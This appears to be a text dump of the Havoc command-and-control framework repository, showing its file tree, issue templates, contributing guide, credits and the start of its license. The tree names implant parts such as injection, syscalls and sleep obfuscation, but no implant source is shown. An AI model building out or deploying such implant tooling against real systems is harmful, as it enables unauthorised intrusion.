Full Code of HavocFramework/Havoc for AI

main c84f7755a8b1 cached
564 files
4.1 MB
1.1M tokens
3303 symbols
1 requests
Download .txt
Showing preview only (4,400K chars total). Download the full file or copy to clipboard to get everything.
Repository: HavocFramework/Havoc
Branch: main
Commit: c84f7755a8b1
Files: 564
Total size: 4.1 MB

Directory structure:
gitextract_7ncmzzmg/

├── .github/
│   ├── FUNDING.yml
│   └── ISSUE_TEMPLATE/
│       ├── Bug_Report-Demon.yml
│       ├── Bug_Report-Documentation.yml
│       ├── Bug_Report-Teamserver-Client.yml
│       ├── Feature_Suggestion.yml
│       └── config.yml
├── .gitignore
├── .gitmodules
├── CONTRIBUTING.MD
├── CREDITS.md
├── LICENSE
├── README.md
├── RELEASE.md
├── WIKI.MD
├── assets/
│   ├── Havoc-Client.groovy
│   └── Havoc-Teamserver.groovy
├── client/
│   ├── CMakeLists.txt
│   ├── README.md
│   ├── config.toml
│   ├── include/
│   │   ├── External.h
│   │   ├── Havoc/
│   │   │   ├── CmdLine.hpp
│   │   │   ├── Connector.hpp
│   │   │   ├── DBManager/
│   │   │   │   └── DBManager.hpp
│   │   │   ├── DemonCmdDispatch.h
│   │   │   ├── Havoc.hpp
│   │   │   ├── Packager.hpp
│   │   │   ├── PythonApi/
│   │   │   │   ├── Event.h
│   │   │   │   ├── HavocUi.h
│   │   │   │   ├── PyAgentClass.hpp
│   │   │   │   ├── PyDemonClass.h
│   │   │   │   ├── PythonApi.h
│   │   │   │   └── UI/
│   │   │   │       ├── PyDialogClass.hpp
│   │   │   │       ├── PyLoggerClass.hpp
│   │   │   │       ├── PyTreeClass.hpp
│   │   │   │       └── PyWidgetClass.hpp
│   │   │   └── Service.hpp
│   │   ├── UserInterface/
│   │   │   ├── Dialogs/
│   │   │   │   ├── About.hpp
│   │   │   │   ├── Connect.hpp
│   │   │   │   ├── Listener.hpp
│   │   │   │   └── Payload.hpp
│   │   │   ├── HavocUI.hpp
│   │   │   ├── SmallWidgets/
│   │   │   │   └── EventViewer.hpp
│   │   │   └── Widgets/
│   │   │       ├── Chat.hpp
│   │   │       ├── DemonInteracted.h
│   │   │       ├── FileBrowser.hpp
│   │   │       ├── ListenerTable.hpp
│   │   │       ├── LootWidget.h
│   │   │       ├── ProcessList.hpp
│   │   │       ├── PythonScript.hpp
│   │   │       ├── ScriptManager.h
│   │   │       ├── SessionGraph.hpp
│   │   │       ├── SessionTable.hpp
│   │   │       ├── Store.hpp
│   │   │       ├── Teamserver.hpp
│   │   │       └── TeamserverTabSession.h
│   │   ├── Util/
│   │   │   ├── Base.hpp
│   │   │   ├── Base64.h
│   │   │   └── ColorText.h
│   │   └── global.hpp
│   ├── makefile
│   └── src/
│       ├── Havoc/
│       │   ├── Connector.cc
│       │   ├── DBManger/
│       │   │   ├── DBManager.cc
│       │   │   ├── Scripts.cc
│       │   │   └── Teamserver.cc
│       │   ├── Demon/
│       │   │   ├── CommandOutput.cc
│       │   │   ├── CommandSend.cc
│       │   │   ├── Commands.cc
│       │   │   └── ConsoleInput.cc
│       │   ├── Havoc.cc
│       │   ├── Packager.cc
│       │   ├── PythonApi/
│       │   │   ├── Event.cc
│       │   │   ├── Havoc.cc
│       │   │   ├── HavocUi.cc
│       │   │   ├── PyAgentClass.cc
│       │   │   ├── PyDemonClass.cc
│       │   │   ├── PythonApi.cc
│       │   │   └── UI/
│       │   │       ├── PyDialogClass.cc
│       │   │       ├── PyLoggerClass.cc
│       │   │       ├── PyTreeClass.cc
│       │   │       └── PyWidgetClass.cc
│       │   └── Service.cc
│       ├── Main.cc
│       ├── UserInterface/
│       │   ├── Dialogs/
│       │   │   ├── About.cc
│       │   │   ├── Connect.cc
│       │   │   ├── Listener.cc
│       │   │   └── Payload.cc
│       │   ├── HavocUi.cc
│       │   ├── SmallWidgets/
│       │   │   └── EventViewer.cc
│       │   └── Widgets/
│       │       ├── Chat.cc
│       │       ├── DemonInteracted.cc
│       │       ├── FileBrowser.cc
│       │       ├── ListenersTable.cc
│       │       ├── LootWidget.cc
│       │       ├── ProcessList.cc
│       │       ├── PythonScript.cc
│       │       ├── ScriptManager.cc
│       │       ├── SessionGraph.cc
│       │       ├── SessionTable.cc
│       │       ├── Store.cc
│       │       ├── Teamserver.cc
│       │       └── TeamserverTabSession.cc
│       ├── Util/
│       │   ├── Base.cpp
│       │   ├── Base64.cpp
│       │   └── ColorText.cpp
│       └── global.cc
├── makefile
├── payloads/
│   ├── Demon/
│   │   ├── CMakeLists.txt
│   │   ├── README.md
│   │   ├── include/
│   │   │   ├── Demon.h
│   │   │   ├── common/
│   │   │   │   ├── Clr.h
│   │   │   │   ├── Defines.h
│   │   │   │   ├── Macros.h
│   │   │   │   └── Native.h
│   │   │   ├── core/
│   │   │   │   ├── CoffeeLdr.h
│   │   │   │   ├── Command.h
│   │   │   │   ├── Dotnet.h
│   │   │   │   ├── Download.h
│   │   │   │   ├── HwBpEngine.h
│   │   │   │   ├── HwBpExceptions.h
│   │   │   │   ├── Jobs.h
│   │   │   │   ├── Kerberos.h
│   │   │   │   ├── Memory.h
│   │   │   │   ├── MiniStd.h
│   │   │   │   ├── ObjectApi.h
│   │   │   │   ├── Package.h
│   │   │   │   ├── Parser.h
│   │   │   │   ├── Pivot.h
│   │   │   │   ├── Process.h
│   │   │   │   ├── Runtime.h
│   │   │   │   ├── SleepObf.h
│   │   │   │   ├── Socket.h
│   │   │   │   ├── Spoof.h
│   │   │   │   ├── SysNative.h
│   │   │   │   ├── Syscalls.h
│   │   │   │   ├── Thread.h
│   │   │   │   ├── Token.h
│   │   │   │   ├── Transport.h
│   │   │   │   ├── TransportHttp.h
│   │   │   │   ├── TransportSmb.h
│   │   │   │   └── Win32.h
│   │   │   ├── crypt/
│   │   │   │   └── AesCrypt.h
│   │   │   └── inject/
│   │   │       ├── Inject.h
│   │   │       └── InjectUtil.h
│   │   ├── makefile
│   │   ├── scripts/
│   │   │   └── hash_func.py
│   │   └── src/
│   │       ├── Demon.c
│   │       ├── asm/
│   │       │   ├── Spoof.x64.asm
│   │       │   ├── Spoof.x86.asm
│   │       │   ├── Syscall.x64.asm
│   │       │   └── Syscall.x86.asm
│   │       ├── core/
│   │       │   ├── CoffeeLdr.c
│   │       │   ├── Command.c
│   │       │   ├── Dotnet.c
│   │       │   ├── Download.c
│   │       │   ├── HwBpEngine.c
│   │       │   ├── HwBpExceptions.c
│   │       │   ├── Jobs.c
│   │       │   ├── Kerberos.c
│   │       │   ├── Memory.c
│   │       │   ├── MiniStd.c
│   │       │   ├── Obf.c
│   │       │   ├── ObjectApi.c
│   │       │   ├── Package.c
│   │       │   ├── Parser.c
│   │       │   ├── Pivot.c
│   │       │   ├── Runtime.c
│   │       │   ├── Socket.c
│   │       │   ├── Spoof.c
│   │       │   ├── SysNative.c
│   │       │   ├── Syscalls.c
│   │       │   ├── Thread.c
│   │       │   ├── Token.c
│   │       │   ├── Transport.c
│   │       │   ├── TransportHttp.c
│   │       │   ├── TransportSmb.c
│   │       │   └── Win32.c
│   │       ├── crypt/
│   │       │   └── AesCrypt.c
│   │       ├── inject/
│   │       │   ├── Inject.c
│   │       │   └── InjectUtil.c
│   │       └── main/
│   │           ├── MainDll.c
│   │           ├── MainExe.c
│   │           └── MainSvc.c
│   ├── DllLdr/
│   │   ├── Include/
│   │   │   ├── Core.h
│   │   │   ├── Macro.h
│   │   │   └── Native.h
│   │   ├── Scripts/
│   │   │   └── extract.py
│   │   ├── Source/
│   │   │   └── Entry.c
│   │   └── makefile
│   └── Shellcode/
│       ├── Bin/
│       │   └── .gitignore
│       ├── Include/
│       │   ├── Core.h
│       │   ├── Macro.h
│       │   ├── Utils.h
│       │   └── Win32.h
│       ├── Scripts/
│       │   ├── Hasher
│       │   ├── Hasher.c
│       │   ├── Linker.ld
│       │   └── extract.py
│       ├── Source/
│       │   ├── Asm/
│       │   │   ├── x64/
│       │   │   │   └── Asm.s
│       │   │   └── x86/
│       │   │       └── Asm.s
│       │   ├── Entry.c
│       │   ├── Utils.c
│       │   └── Win32.c
│       └── makefile
├── profiles/
│   ├── havoc.yaotl
│   ├── http_smb.yaotl
│   └── webhook_example.yaotl
└── teamserver/
    ├── GA-Teamserver
    ├── Install.sh
    ├── README.md
    ├── Teamserver-Dockerfile
    ├── cmd/
    │   ├── client.go
    │   ├── cmd.go
    │   ├── server/
    │   │   ├── agent.go
    │   │   ├── dispatch.go
    │   │   ├── listener.go
    │   │   ├── service.go
    │   │   ├── teamserver.go
    │   │   └── types.go
    │   └── server.go
    ├── go.mod
    ├── go.sum
    ├── main.go
    └── pkg/
        ├── agent/
        │   ├── agent.go
        │   ├── commands.go
        │   ├── demons.go
        │   └── types.go
        ├── colors/
        │   └── colors.go
        ├── common/
        │   ├── builder/
        │   │   └── builder.go
        │   ├── certs/
        │   │   └── https.go
        │   ├── crypt/
        │   │   └── aes.go
        │   ├── packer/
        │   │   └── packer.go
        │   ├── parser/
        │   │   └── parser.go
        │   └── util.go
        ├── db/
        │   ├── agents.go
        │   ├── db.go
        │   ├── links.go
        │   ├── listeners.go
        │   └── misc.go
        ├── events/
        │   ├── chatlog.go
        │   ├── demons.go
        │   ├── events.go
        │   ├── gate.go
        │   ├── listeners.go
        │   ├── service.go
        │   └── teamserver.go
        ├── handlers/
        │   ├── 404.html
        │   ├── external.go
        │   ├── handlers.go
        │   ├── http.go
        │   ├── smb.go
        │   └── types.go
        ├── logger/
        │   ├── global.go
        │   └── logger.go
        ├── logr/
        │   ├── demon.go
        │   ├── listener.go
        │   ├── logr.go
        │   └── server.go
        ├── packager/
        │   ├── packages.go
        │   └── types.go
        ├── profile/
        │   ├── config.go
        │   ├── profile.go
        │   └── yaotl/
        │       ├── diagnostic.go
        │       ├── diagnostic_text.go
        │       ├── didyoumean.go
        │       ├── doc.go
        │       ├── eval_context.go
        │       ├── expr_call.go
        │       ├── expr_list.go
        │       ├── expr_map.go
        │       ├── expr_unwrap.go
        │       ├── ext/
        │       │   ├── README.md
        │       │   ├── customdecode/
        │       │   │   ├── README.md
        │       │   │   ├── customdecode.go
        │       │   │   └── expression_type.go
        │       │   ├── dynblock/
        │       │   │   ├── README.md
        │       │   │   ├── expand_body.go
        │       │   │   ├── expand_body_test.go
        │       │   │   ├── expand_spec.go
        │       │   │   ├── expr_wrap.go
        │       │   │   ├── iteration.go
        │       │   │   ├── public.go
        │       │   │   ├── schema.go
        │       │   │   ├── unknown_body.go
        │       │   │   ├── variables.go
        │       │   │   ├── variables_hcldec.go
        │       │   │   └── variables_test.go
        │       │   ├── transform/
        │       │   │   ├── doc.go
        │       │   │   ├── error.go
        │       │   │   ├── transform.go
        │       │   │   ├── transform_test.go
        │       │   │   └── transformer.go
        │       │   ├── tryfunc/
        │       │   │   ├── README.md
        │       │   │   ├── tryfunc.go
        │       │   │   └── tryfunc_test.go
        │       │   ├── typeexpr/
        │       │   │   ├── README.md
        │       │   │   ├── doc.go
        │       │   │   ├── get_type.go
        │       │   │   ├── get_type_test.go
        │       │   │   ├── public.go
        │       │   │   ├── type_string_test.go
        │       │   │   ├── type_type.go
        │       │   │   └── type_type_test.go
        │       │   └── userfunc/
        │       │       ├── README.md
        │       │       ├── decode.go
        │       │       ├── decode_test.go
        │       │       ├── doc.go
        │       │       └── public.go
        │       ├── gohcl/
        │       │   ├── decode.go
        │       │   ├── doc.go
        │       │   ├── encode.go
        │       │   ├── schema.go
        │       │   └── types.go
        │       ├── guide/
        │       │   ├── Makefile
        │       │   ├── conf.py
        │       │   ├── go.rst
        │       │   ├── go_decoding_gohcl.rst
        │       │   ├── go_decoding_hcldec.rst
        │       │   ├── go_decoding_lowlevel.rst
        │       │   ├── go_diagnostics.rst
        │       │   ├── go_expression_eval.rst
        │       │   ├── go_parsing.rst
        │       │   ├── go_patterns.rst
        │       │   ├── index.rst
        │       │   ├── intro.rst
        │       │   ├── language_design.rst
        │       │   ├── make.bat
        │       │   └── requirements.txt
        │       ├── hcldec/
        │       │   ├── block_labels.go
        │       │   ├── decode.go
        │       │   ├── doc.go
        │       │   ├── gob.go
        │       │   ├── public.go
        │       │   ├── public_test.go
        │       │   ├── schema.go
        │       │   ├── spec.go
        │       │   ├── spec_test.go
        │       │   ├── variables.go
        │       │   └── variables_test.go
        │       ├── hcled/
        │       │   ├── doc.go
        │       │   └── navigation.go
        │       ├── hclparse/
        │       │   └── parser.go
        │       ├── hclsimple/
        │       │   └── hclsimple.go
        │       ├── hclsyntax/
        │       │   ├── diagnostics.go
        │       │   ├── didyoumean.go
        │       │   ├── doc.go
        │       │   ├── expression.go
        │       │   ├── expression_ops.go
        │       │   ├── expression_template.go
        │       │   ├── expression_vars.go
        │       │   ├── expression_vars_gen.go
        │       │   ├── file.go
        │       │   ├── fuzz/
        │       │   │   ├── Makefile
        │       │   │   ├── README.md
        │       │   │   ├── config/
        │       │   │   │   ├── corpus/
        │       │   │   │   │   ├── attr-expr.hcl
        │       │   │   │   │   ├── attr-literal.hcl
        │       │   │   │   │   ├── block-attrs.hcl
        │       │   │   │   │   ├── block-empty.hcl
        │       │   │   │   │   ├── block-nested.hcl
        │       │   │   │   │   ├── empty.hcl
        │       │   │   │   │   └── utf8.hcl
        │       │   │   │   └── fuzz.go
        │       │   │   ├── expr/
        │       │   │   │   ├── corpus/
        │       │   │   │   │   ├── empty.hcle
        │       │   │   │   │   ├── escape-dollar.hcle
        │       │   │   │   │   ├── escape-newline.hcle
        │       │   │   │   │   ├── function-call.hcle
        │       │   │   │   │   ├── int.hcle
        │       │   │   │   │   ├── literal.hcle
        │       │   │   │   │   ├── splat-attr.hcle
        │       │   │   │   │   ├── splat-full.hcle
        │       │   │   │   │   ├── utf8.hcle
        │       │   │   │   │   └── var.hcle
        │       │   │   │   └── fuzz.go
        │       │   │   ├── template/
        │       │   │   │   ├── corpus/
        │       │   │   │   │   ├── empty.tmpl
        │       │   │   │   │   ├── escape-dollar.tmpl
        │       │   │   │   │   ├── escape-newline.tmpl
        │       │   │   │   │   ├── function-call.tmpl
        │       │   │   │   │   ├── int.tmpl
        │       │   │   │   │   ├── just-interp.tmpl
        │       │   │   │   │   ├── literal.tmpl
        │       │   │   │   │   └── utf8.tmpl
        │       │   │   │   └── fuzz.go
        │       │   │   └── traversal/
        │       │   │       ├── corpus/
        │       │   │       │   ├── attr.hclt
        │       │   │       │   ├── complex.hclt
        │       │   │       │   ├── index.hclt
        │       │   │       │   └── root.hclt
        │       │   │       └── fuzz.go
        │       │   ├── generate.go
        │       │   ├── keywords.go
        │       │   ├── navigation.go
        │       │   ├── node.go
        │       │   ├── parser.go
        │       │   ├── parser_template.go
        │       │   ├── parser_traversal.go
        │       │   ├── peeker.go
        │       │   ├── public.go
        │       │   ├── scan_string_lit.go
        │       │   ├── scan_string_lit.rl
        │       │   ├── scan_tokens.go
        │       │   ├── scan_tokens.rl
        │       │   ├── structure.go
        │       │   ├── structure_at_pos.go
        │       │   ├── token.go
        │       │   ├── token_type_string.go
        │       │   ├── unicode2ragel.rb
        │       │   ├── unicode_derived.rl
        │       │   ├── variables.go
        │       │   └── walk.go
        │       ├── hcltest/
        │       │   ├── doc.go
        │       │   ├── mock.go
        │       │   └── mock_test.go
        │       ├── hclwrite/
        │       │   ├── ast.go
        │       │   ├── ast_attribute.go
        │       │   ├── ast_block.go
        │       │   ├── ast_block_test.go
        │       │   ├── ast_body.go
        │       │   ├── ast_body_test.go
        │       │   ├── ast_expression.go
        │       │   ├── ast_test.go
        │       │   ├── doc.go
        │       │   ├── examples_test.go
        │       │   ├── format.go
        │       │   ├── format_test.go
        │       │   ├── fuzz/
        │       │   │   ├── Makefile
        │       │   │   ├── README.md
        │       │   │   └── config/
        │       │   │       ├── corpus/
        │       │   │       │   ├── attr-expr.hcl
        │       │   │       │   ├── attr-literal.hcl
        │       │   │       │   ├── attr.hcl
        │       │   │       │   ├── block-attrs.hcl
        │       │   │       │   ├── block-comment.hcl
        │       │   │       │   ├── block-empty.hcl
        │       │   │       │   ├── block-nested.hcl
        │       │   │       │   ├── complex.hcl
        │       │   │       │   ├── empty.hcl
        │       │   │       │   ├── escape-dollar.hcl
        │       │   │       │   ├── escape-newline.hcl
        │       │   │       │   ├── function-call-tmpl.hcl
        │       │   │       │   ├── function-call.hcl
        │       │   │       │   ├── hash-comment.hcl
        │       │   │       │   ├── index.hcl
        │       │   │       │   ├── int-tmpl.hcl
        │       │   │       │   ├── int.hcl
        │       │   │       │   ├── just-interp.hcl
        │       │   │       │   ├── literal.hcl
        │       │   │       │   ├── lots-of-comments.hcl
        │       │   │       │   ├── slash-comment.hcl
        │       │   │       │   ├── splat-attr.hcl
        │       │   │       │   ├── splat-dot-full.hcl
        │       │   │       │   ├── splat-full.hcl
        │       │   │       │   ├── traversal-dot-index-terminal.hcl
        │       │   │       │   ├── traversal-dot-index.hcl
        │       │   │       │   ├── traversal-index.hcl
        │       │   │       │   ├── utf8.hcl
        │       │   │       │   └── var.hcl
        │       │   │       └── fuzz.go
        │       │   ├── generate.go
        │       │   ├── generate_test.go
        │       │   ├── native_node_sorter.go
        │       │   ├── node.go
        │       │   ├── parser.go
        │       │   ├── parser_test.go
        │       │   ├── public.go
        │       │   ├── round_trip_test.go
        │       │   └── tokens.go
        │       ├── json/
        │       │   ├── ast.go
        │       │   ├── didyoumean.go
        │       │   ├── didyoumean_test.go
        │       │   ├── doc.go
        │       │   ├── fuzz/
        │       │   │   ├── Makefile
        │       │   │   ├── README.md
        │       │   │   └── config/
        │       │   │       ├── corpus/
        │       │   │       │   ├── attr-expr.hcl.json
        │       │   │       │   ├── attr-literal.hcl.json
        │       │   │       │   ├── block-attrs.hcl.json
        │       │   │       │   ├── block-empty.json
        │       │   │       │   ├── block-nested.hcl.json
        │       │   │       │   ├── empty.hcl.json
        │       │   │       │   ├── list-empty.json
        │       │   │       │   ├── list-nested.json
        │       │   │       │   ├── list-values.json
        │       │   │       │   ├── number-big.hcl.json
        │       │   │       │   ├── number-int.hcl.json
        │       │   │       │   └── utf8.hcl.json
        │       │   │       └── fuzz.go
        │       │   ├── navigation.go
        │       │   ├── navigation_test.go
        │       │   ├── parser.go
        │       │   ├── parser_test.go
        │       │   ├── peeker.go
        │       │   ├── public.go
        │       │   ├── public_test.go
        │       │   ├── scanner.go
        │       │   ├── scanner_test.go
        │       │   ├── spec.md
        │       │   ├── structure.go
        │       │   ├── structure_test.go
        │       │   └── tokentype_string.go
        │       ├── merged.go
        │       ├── ops.go
        │       ├── pos.go
        │       ├── pos_scanner.go
        │       ├── schema.go
        │       ├── specsuite/
        │       │   ├── README.md
        │       │   ├── spec_test.go
        │       │   └── tests/
        │       │       ├── comments/
        │       │       │   ├── hash_comment.hcl
        │       │       │   ├── hash_comment.hcldec
        │       │       │   ├── hash_comment.t
        │       │       │   ├── multiline_comment.hcl
        │       │       │   ├── multiline_comment.hcldec
        │       │       │   ├── multiline_comment.t
        │       │       │   ├── slash_comment.hcl
        │       │       │   ├── slash_comment.hcldec
        │       │       │   └── slash_comment.t
        │       │       ├── empty.hcl
        │       │       ├── empty.hcl.json
        │       │       ├── empty.hcldec
        │       │       ├── empty.t
        │       │       ├── expressions/
        │       │       │   ├── heredoc.hcl
        │       │       │   ├── heredoc.hcldec
        │       │       │   ├── heredoc.t
        │       │       │   ├── operators.hcl
        │       │       │   ├── operators.hcldec
        │       │       │   ├── operators.t
        │       │       │   ├── primitive_literals.hcl
        │       │       │   ├── primitive_literals.hcldec
        │       │       │   └── primitive_literals.t
        │       │       └── structure/
        │       │           ├── attributes/
        │       │           │   ├── expected.hcl
        │       │           │   ├── expected.hcldec
        │       │           │   ├── expected.t
        │       │           │   ├── singleline_bad.hcl
        │       │           │   ├── singleline_bad.hcldec
        │       │           │   ├── singleline_bad.t
        │       │           │   ├── unexpected.hcl
        │       │           │   ├── unexpected.hcldec
        │       │           │   └── unexpected.t
        │       │           └── blocks/
        │       │               ├── single_empty_oneline.hcl
        │       │               ├── single_empty_oneline.hcldec
        │       │               ├── single_empty_oneline.t
        │       │               ├── single_expected.hcl
        │       │               ├── single_expected.hcldec
        │       │               ├── single_expected.t
        │       │               ├── single_oneline.hcl
        │       │               ├── single_oneline.hcldec
        │       │               ├── single_oneline.t
        │       │               ├── single_oneline_invalid.hcl
        │       │               ├── single_oneline_invalid.hcldec
        │       │               ├── single_oneline_invalid.t
        │       │               ├── single_unclosed.hcl
        │       │               ├── single_unclosed.hcldec
        │       │               └── single_unclosed.t
        │       ├── static_expr.go
        │       ├── structure.go
        │       ├── structure_at_pos.go
        │       ├── traversal.go
        │       └── traversal_for_expr.go
        ├── service/
        │   ├── agent.go
        │   ├── external.go
        │   ├── listener.go
        │   ├── service.go
        │   └── types.go
        ├── socks/
        │   ├── socks.go
        │   └── util.go
        ├── utils/
        │   └── utils.go
        ├── webhook/
        │   ├── discord.go
        │   └── webhook.go
        └── win32/
            └── types.go

================================================
FILE CONTENTS
================================================

================================================
FILE: .github/FUNDING.yml
================================================
# These are supported funding model platforms

github: [Cracked5pider]
patreon: 5pider


================================================
FILE: .github/ISSUE_TEMPLATE/Bug_Report-Demon.yml
================================================
name: Demon-Implant Bug Report
description: File a bug report for the Demon Implant
title: "[File a bug report for the Demon Implant]: "
labels: ["bug"]
assignees: 
  - C5pider
body: 
  - type: markdown
    attributes:
      value: "Thanks for taking the time to fill out this bug report!"
  - type: textarea
    id: what-happened
    attributes: 
      label: "What happened?"
      description: "Also tell us, what did you expect to happen?"
      placeholder: "Tell me about the numbers Mason!"
      value: "A bug happened!"
    validations: 
      required: true
  - type: dropdown
    id: branch
    attributes: 
      label: Did You Try With the Dev Branch?
      description: "This branch has the latest features and fixes so it might solve your problem"
      options: 
        - "Yes (You tried using the dev branch but the problem persists)"
        - "No (You only tried the main branch...)"
    validations: 
      required: true
  - type: textarea
    id: logs
    attributes: 
      description: "Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks."
      label: "Relevant log output"
      render: shell
  - type: checkboxes
    id: terms
    attributes: 
      label: Did You Read Over Your Issue First?
      description: "By submitting this issue, you confirm you posted replication steps and information about the issue, so that it may be fully understood ."
      options: 
        - label: "I declare I made an effort and provided the necessary information for replication of the issue."
          required: true


================================================
FILE: .github/ISSUE_TEMPLATE/Bug_Report-Documentation.yml
================================================
name: Documentation Bug Report
description: File a bug report for the Documentation relating to the Havoc Framework.
title: "[File a bug report for the Havoc Framework Documentation]: "
labels: ["documentation"]
assignees: 
  - C5pider
body: 
  - type: markdown
    attributes: 
      value: "Thanks for taking the time to fill out this bug report!"
  - type: input
    id: contact
    attributes: 
      label: "Contact Details"
      description: "How can we get in touch with you if we need more info?"
      placeholder: "ex. email@example.com"
    validations: 
      required: false
  - type: textarea
    id: what-grammar
    attributes: 
      label: "What's the issue?"
      description: "Also tell us, what should it be?"
      placeholder: "Tell me about the numbers Mason!"
      value: "You mispelled 'cat'!"
    validations: 
      required: true
  - type: dropdown
    id: version
    attributes: 
      label: Did You Do a Pull First?
      description: "If this isn't related to the github wiki, What version of our software are you running?"
      options: 
        - "Latest (You performed a pull first)"
        - "Anything else (You didn't pull...)"
    validations: 
      required: true
  - type: checkboxes
    attributes: 
      label: Did You Read Over Your Issue First?
      description: "By submitting this issue, you declare you fully thought about your suggestion and have read it aloud back to yourself and made sure it sounds alright."
      options: 
        - 
          label: "I declare I made an effort and provided the necessary information for identification and remediation of the issue."
          required: true


================================================
FILE: .github/ISSUE_TEMPLATE/Bug_Report-Teamserver-Client.yml
================================================
name: "Teamserver/Client Bug Report"
description: File a bug report for the Teamserver client relating to the Havoc Framework.
title: "[Teamserver-Client--Bug]: "
labels: ["clientside/teamserver"]
assignees: 
  - C5pider
body: 
  - type: markdown
    attributes: 
      value: "Thanks for taking the time to fill out this bug report!"
  - type: input
    id: contact
    attributes: 
      label: "Contact Details"
      description: "How can we get in touch with you if we need more info?"
      placeholder: "ex. email@example.com"
    validations: 
      required: false
  - type: textarea
    id: what-happened
    attributes: 
      description: "Also tell us, what did you expect to happen?"
      label: "What happened?"
      placeholder: "Tell me about the numbers Mason!"
      value: "A bug happened!"
    validations: 
      required: true
  - type: dropdown
    id: version
    attributes: 
      description: "What version of our software are you running?"
      label: Did You Do a Pull First?
      options: 
        - "Latest (You performed a pull first)"
        - "Anything else (You didn't pull...)"
    validations: 
      required: true
  - type: dropdown
    id: branch
    attributes: 
      label: Did You Try With the Dev Branch?
      description: "This branch has the latest features and fixes so it might solve your problem"
      options: 
        - "Yes (You tried using the dev branch but the problem persist)"
        - "No (You only tried the main branch...)"
    validations: 
      required: true
  - type: textarea
    id: logs
    attributes: 
      label: "Relevant log output"
      description: "Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks."
      render: shell
  - type: checkboxes
    id: checkboxes
    id: terms
    attributes: 
      description: "By submitting this issue, you declare you posted replication steps and information about the issue, so that it may be fully understood ."
      label: Did You Read Over Your Issue First?
      options: 
        - label: "I declare I made an effort and provided the necessary information for replication of the issue."
          required: true


================================================
FILE: .github/ISSUE_TEMPLATE/Feature_Suggestion.yml
================================================
name: Feature Suggestion
description: File a feature suggestion for the Havoc Framework
title: "[Feature Suggestions/Enhancements]: "
labels: ["enhancement"]
assignees:
  - C5pider
body:
  - type: markdown
    attributes:
      value: |
        Thanks for taking the time to suggest a feature!
  - type: input
    id: contact
    attributes:
      label: Contact Details
      description: How can we get in touch with you if we need more info?
      placeholder: ex. email@example.com
    validations:
      required: false
  - type: textarea
    id: what-is
    attributes:
      label: What is the idea?
      description: Please expound on it, and list any supporting resources that be helpful.
      placeholder: Tell me what the numbers mean Mason!
      value: "You should convert the teamserver to C++"
    validations:
      required: true
  - type: dropdown
    id: version
    attributes:
      label: Is_it_already_in?
      description: Does the feature already exist in Havoc?
      options:
        - No (You checked and it doesn't.)
        - Yes (You didn't check...)
    validations:
      required: true
  - type: textarea
    id: logs
    attributes:
      label: Relevant code samples
      description: Please insert any relevant code you think may be helpful in understanding/implementing the feature. This will be automatically formatted into code, so no need for backticks. If you already have a feature built and would like to add it to the project, please make a pull request instead.
      render: shell
  - type: checkboxes
    id: terms
    attributes:
      label: Are-You-Trolling?
      description: By submitting this issue, you declare you are making a sincere effort towards improving the functionality/feature set of the Havoc Framework..
      options:
        - label: I declare I made an effort and provided the necessary information for an understanding of the feature by the Framework authors.
          required: true


================================================
FILE: .github/ISSUE_TEMPLATE/config.yml
================================================
--- 
blank_isues_enabled: false
contact_links: 
  - 
    about: "The official Havoc Framework Project's discord server"
    name: "Havoc Framework Discord"
    url: "https://discord.gg/X5TYNCpXkD"


================================================
FILE: .gitignore
================================================
# ignore .idea
*/.idea/

# ignore cmake generated stuff
Client/Build
**/cmake-build-debug/

# dont commit your loot
Teamserver/data/loot/

# dont commit your secrets
Client/Data/database.db

# ignore go stuff
Teamserver/go.sum

# ignore compiled binaries
Client/Havoc
Teamserver/teamserver

# ignore MUSL C Compiler stuff
Teamserver/data/x86_64-w64-mingw32-cross/

# ignore havoc binary
havoc

# ignore data directory
data/

# ignore client directories
client/Build/
client/Havoc
client/Modules/


================================================
FILE: .gitmodules
================================================
[submodule "client/external/spdlog"]
	path = client/external/spdlog
	url = https://github.com/gabime/spdlog
[submodule "client/external/json"]
	path = client/external/json
	url = https://github.com/nlohmann/json
[submodule "client/external/toml"]
	path = client/external/toml
	url = https://github.com/ToruNiina/toml11


================================================
FILE: CONTRIBUTING.MD
================================================
# Guide to Contributing

### Pushing Changes to `dev`
- It is preferred that new changes are pushed to a new branch, and then a pull request is made to merge that new branch back into Main/Master
- Steps:
	1. Create a new local branch:
		* `git switch -c <new_branch_name>`
	2. Confirm the new branch was created:
		* `git branch -a`
	3. Confirm the upstream branch you'll be committing to and make a push:
		* `git push -set-upstream origin <new_branch_name>`


================================================
FILE: CREDITS.md
================================================
# Credits

In this file i give credits to those people who helped me working on this project.

- [Austin Hudson](https://twitter.com/ilove2pwn_) 
    A lot of the code and ideas are based on his projects. Foliage is one of the sleep obfuscation techniques used by the havoc agent.

- [Bobby Cooke](https://twitter.com/0xBoku)
    A lot of techniques used are based on his projects. 

- [Codex](https://twitter.com/codex_tf2)
    Contributed and tested the C2 for flaws and bugs. 

- [Robert Musser](https://twitter.com/r_o_b_e_r_t_1)
    Contributed and tested the C2 for flaws and bugs. Added Docker support. 

- [Adam Svoboda](https://twitter.com/adamsvoboda)
    Contributed and tested the C2 for flaws and bugs. Worked on the wiki for the api, service and profiles. 

- [trickster0](https://twitter.com/trickster012)
    Contributed and tested the C2 for flaws and bugs.

- [Raul • theg3ntl3m4n](https://twitter.com/theg3ntl3m4n)
    Contributed and tested the C2 for flaws and bugs.

- [Zach Fleming](https://twitter.com/The___Undergrad)
    Contributed and tested the C2 for flaws and bugs.

- [Shawn (anthemtotheego)](https://twitter.com/anthemtotheego)
    Contributed and tested the C2 for flaws and bugs.

- [chbGSmCm](https://github.com/chbGSmCm)
    Contributed and tested the C2 for flaws and bugs.

- [Laith Yassin](https://twitter.com/LaithYassin13)
    Logo Designer.  

- [Fawaz - بوجابر](https://twitter.com/q8fawazo)
    Contributed and tested the C2 for flaws and bugs.

- [Giorgos Karantzas](https://twitter.com/GeKarantzas) & [Constantinos Patsakis](https://twitter.com/kpatsak) of University of Piraeus: 
    Various forms of generic\academic help during a past research engagement. Note: All experimentation took place prior to April 2022

- [@infosecnoodle](https://twitter.com/infosecnoodle)
  Designed session graph/table agent icons (with lighting bolt effects for high elevated targets)



================================================
FILE: LICENSE
================================================
                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
